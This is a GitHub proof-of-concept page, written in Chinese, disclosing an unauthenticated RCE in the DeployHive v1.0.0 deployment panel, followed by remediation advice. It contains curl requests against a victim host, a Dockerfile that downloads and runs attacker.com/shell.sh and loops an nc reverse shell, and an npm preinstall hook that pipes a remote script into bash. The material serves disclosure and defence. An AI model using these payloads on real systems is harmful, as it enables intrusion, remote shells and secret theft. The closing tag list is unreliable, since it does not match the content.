BlessedOn3/poc-deployhive-unauth-rce
GitHub: BlessedOn3/poc-deployhive-unauth-rce
复现 DeployHive v1.0.0 部署面板因所有 API 端点缺少身份验证而导致的未授权 RCE 漏洞(CVSS 10.0)的概念验证项目。
Stars: 0 | Forks: 0
# CVE — iabdullahmumtaz/DeployHive 通过 Docker Build + npm Scripts 实现的未授权 RCE
**严重程度:** 危急 (CVSS 3.1: 10.0)
**受影响版本:** DeployHive v1.0.0
**报告者:** Mateus Gama (theblessone.sec@gmail.com)
**披露:** 协调披露 — 2026-05-27 (issue #1)
## 摘要
DeployHive 是一个 DevOps 部署面板。Express 服务器默认绑定到 `0.0.0.0`,且**所有 endpoint 均无任何授权**。攻击者可以通过两种方式部署任意代码。
| # | 发现 | CVSS |
|---|---|---|
| 01 | 通过对攻击者控制的 repo 进行 Docker build 实现的未授权 RCE | **10.0** |
| 02 | 通过 npm preinstall/postinstall 生命周期脚本实现的未授权 RCE | 9.8 |
| 03 | 向已部署的 container 中注入未授权的环境变量 | 8.1 |
| 04 | 未授权读取所有项目、日志和密钥 | 7.5 |
## 攻击链 — Docker RCE
```
# 创建指向恶意 repo 的项目(无 auth)
curl -X POST http://victim:6012/api/projects \
-H 'Content-Type: application/json' \
-d '{"name":"x","repoUrl":"https://github.com/attacker/malicious","branch":"main"}'
# 触发 deploy — 克隆 repo,docker build + 运行(RestartPolicy: unless-stopped)
curl -X POST http://victim:6012/api/deployments \
-H 'Content-Type: application/json' \
-d '{"projectId":""}'
```
攻击者 repo 中的恶意 `Dockerfile`:
```
FROM alpine
RUN curl http://attacker.com/shell.sh | sh
CMD ["sh","-c","while true; do nc attacker.com 4444 -e /bin/sh; sleep 5; done"]
```
## 攻击链 — npm RCE(无需 Docker)
恶意的 `package.json`(repo 中没有 `Dockerfile`):
```
{
"name": "legit",
"scripts": { "preinstall": "curl http://attacker.com/shell.sh | bash" }
}
```
DeployHive 在 HOST 上运行 `execSync('npm install --omit=dev', { cwd: repoPath })`。
preinstall hook 将作为 OS 命令执行。
## 概念验证
```
# 完全的 Docker RCE(需要攻击者控制的 git repo)
bash poc/docker_rce.sh http://target:6012 https://github.com/your/malicious-repo
# npm lifecycle RCE
bash poc/npm_rce.sh http://target:6012 https://github.com/your/npm-malicious-repo
# 导出所有项目 secrets
bash poc/dump_secrets.sh http://target:6012
```
## 修复建议
1. 在所有路由之前全局添加身份验证中间件
2. 默认绑定到 `127.0.0.1`:`app.listen(PORT, '127.0.0.1')`
3. 根据 allowlist 验证 `repoUrl`
4. 在沙盒 container 内而非 host 上运行 `npm install`
标签:DevOps安全, Go语言工具, MITM代理, PoC, 应用安全, 暗色界面, 暴力破解, 未授权访问, 编程工具, 请求拦截, 远程代码执行, 配置审计